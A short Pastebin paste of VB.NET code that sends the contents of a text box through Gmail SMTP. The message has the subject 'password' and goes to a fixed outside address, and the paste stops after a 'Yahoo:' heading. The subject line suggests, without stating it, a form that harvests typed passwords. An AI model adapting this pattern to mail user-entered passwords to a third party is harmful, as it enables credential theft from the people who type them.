kshadow22

Send A Email With Google Visual Basic

Jun 29th, 2015
117
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Web
  2. Imports System.IO
  3. Imports System.Net.Mail
  4. *******************************************
  5. Public Class Form1
  6.        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  7.         Dim mail As New MailMessage()
  8.         Dim SmtpServer As New SmtpClient
  9.         SmtpServer.Credentials = New Net.NetworkCredential("uremail@gmail.com", "password")
  10.         SmtpServer.Port = 587
  11.         SmtpServer.Host = "smtp.gmail.com"
  12.         SmtpServer.EnableSsl = True
  13.         SmtpServer.EnableSsl = True
  14.         mail.To.Add("uremail@anymailserver.com")
  15.         mail.From = New MailAddress("nothere-mail@gmail.com")
  16.         mail.Subject = "password"
  17.         mail.Body = TextBox1.Text
  18.         SmtpServer.Send(mail)
  19.     End Sub
  20.  
  21. ***********************************************
  22. Yahoo:
RAW Paste Data